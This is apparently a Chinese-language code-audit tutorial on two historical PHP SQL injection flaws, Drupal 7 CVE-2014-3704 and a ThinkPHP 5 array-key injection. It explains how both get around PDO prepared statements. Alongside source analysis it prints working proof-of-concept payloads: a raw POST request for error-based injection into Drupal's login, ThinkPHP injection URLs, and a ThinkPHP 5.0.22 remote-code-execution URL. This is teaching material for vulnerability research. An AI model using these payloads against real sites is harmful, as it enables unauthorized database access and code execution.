我们接着上一篇还是写点什么吧,对于SQL注入,我们一般都是从两个方向取贴近取得成果,第一个就是相关框架存在SQL注入,第二个也就是占比最高的:CMS。这个相信大家深有体会,在CMS中挖掘出来的SQL注入(权限高)和前台RCE基本来说是大杀器,或者说只要最近有一个用户量极高的CMS突然被爆出一个威害极高的漏洞,基本就是又会倒掉一片。还是挺恐怖的哈哈.....我觉得这篇就写的精简一点吧。只举两个例子,都是有关于涉及到PDO(PHP Data Object)预编译机制的。如果我们要入手PHP代码审计,我觉得还是得好好了解了解
推荐一篇文章:《pdo 参数化查询 mysql函数_PDO(预编译参数化查询)和安全问题》
https://blog.csdn.net/weixin_29661407/article/details/114906789
编号:CVE-2014-3704,众所周知这个Drupal 是一款用量庞大的CMS,基本算得上是世界前三。其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。这个就基本可以说成因是Drupal 7.x系列核心代码出现了注入。环境启动后,访问http://ip:8080
即可看到Drupal的安装页面,使用默认配置安装即可。其中,Mysql数据库名填写drupal
,数据库用户名、密码为root
,地址为mysql
:
安装配置好你应该是可以的
这个漏洞其实你看POC其实挺简单,但是它出现问题的地方在includes\database\database.inc
文件中
protected function expandArguments(&$query, &$args) {
$modified = FALSE; // If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}
// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;
$modified = TRUE;
}
return $modified;
}
这段代码是用来对传入数据库中的多个参数值进行预处理用的,因为Drupal对于SQL是会进行预编译处理的。但是由于考虑不严,导致攻击者可以通过构造数组,操控数组中的索引key,在预编译之前破坏原有的SQL结构,造成SQL注入攻击。可能你会看的一脸懵逼。给你一个流程你思考下:首先这个函数会对存在多个值的参数进行一个处理,来应对SQL中IN这样的语句。就像下面这样的SQL,如果name的值是多个,就需要对传入的参数进行进一步处理。
SELECT * FROM {users} where name IN (:name)
这个函数传入的args参数大概是这样的:
array(':name'=>array('user1','user2')));
函数首先会检测数组中的值是否也是数组,如果不是则跳过。将符合条件的数组key存入$key
中,然后遍历value中的数组,将其中的值存入$new_key
数组中,数组索引为$key+value
数组中各个值的数字索引。
$new_keys[$key . '_' . $i] = $value;
这里引入了字符串拼接,将SQL注入的风险带入。原本它期待的数据是我们上面给出的那样,但是试想,如果value数组的索引key我们用字符串,而不是数字呢?就像这样:
array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
那$new_keys的索引就会变成“name_test — ”了,接着看最关键的地方:
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
用刚刚生成的$new_key数组索引key引入到了预编译SQL语句中,这样的话SQL语句就会变成这样:
SELECT * FROM users WHERE name = :name_test -- , :name_test
在预编译前就引入了SQL注入
这里有现成的POC去爆出管理员信息,该漏洞无需认证,直接发送如下数据包即可执行恶意SQL语句:
POST /?q=node&destination=node HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
这个洞在MSF中也有的,有现成的EXP去拿shell哈哈,我们只是学习一下思路
总的来说:这个漏洞的意义就在于直击预编译的软肋,即在预编译之前注入攻击语句,由于Drupal悲催的使用PDO方式操作数据库,导致攻击者利用这个漏洞可以直接多语句操作数据库。自身超强的加密算法形同虚设,也为攻击者实现代码执行提供了多种便利。
也可以叫它为Thinkphp5X设计缺陷导致泄漏数据库账户密码
实验版本:5.0.9
这是一个比较鸡肋的SQL注入漏洞,而该漏洞形成最关键的一点是需要开启debug模式,而TP官方最新的版本5.0.9默认依旧是开放着调试模式,主要还是个信息泄露漏洞。你就说这到底是开发设计缺陷还是啥,没跑了。
poc:
http://192.168.10.141/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
当然下面两个是5.0.22的利用方式(RCE+SQL注入)
http://192.168.10.141/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://192.168.10.141/?s=.|think\config/get&name=database.username
漏洞分析转载自phithon的《ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析》并作修改
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
漏洞上下文:
<?php
namespace app\index\controller;use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
如上述代码如果我们控制了in语句的值位置,就可以通过传入一个数组,来造成SQL注入漏洞
https://xz.aliyun.com/t/125
在此文中已有分析,就不作赘述了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
可见,$bindName
在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value
是一个数组的情况下,这里会遍历$value
,并将$k
拼接进$bindName
。也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?
这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:
prepare($SQL)
编译SQL语句bindValue($param, $value)
将value绑定到param的位置上execute()
执行这个漏洞实际上就是控制了第二步的$param
变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:
所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。
但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:
<?php
$params = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
];$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
var_dump($e);
}
执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:
究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false
。
这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()
的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false
,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。
非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。
这时,假设在第一步执行prepare($SQL)
的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:
...
// PDO连接参数
protected $params = [
PDO::ATTR_CASE => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES => false,
];
...
可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false
。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:
http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231
但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined
的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。总体来说,这个洞不是特别好用。期待有人能研究一下,推翻我的猜测,让这个漏洞真正好用起来。类似的触发SQL报错的位置我还看到另外一处,暂时就不说了。
控制了in语句的值位置,传入一个数组,来造成SQL注入漏洞。但是后续的MYSQL报错注入是不行的,所以说不允许子查询,值得一提的是这种数据库账户和密码泄漏的前提是SQL语句执行失败或者发生异常的时候才会出现。如果非SQL语法错误的debug模式下是不会泄漏数据库账户和密码的。TP底层对于传入数组的key值没有做安全过滤,导致在预编译绑定参数 处理的时候依旧存在注入字符,结果是框架本身在默认开启调试模式的时候报错给出重要的敏感数据。虽然PDO查询能阻止大多数传参攻击,但是不要以为用了PDO、用了预编译就可以避免SQL注入了,很多情况下考虑不周还是会存在问题。但是很多的大公司基本看到这种Debug信息,直接来一手屏蔽,或者重定向错误页面,所以说很鸡肋。不过也是个历史漏洞了学习学习就行。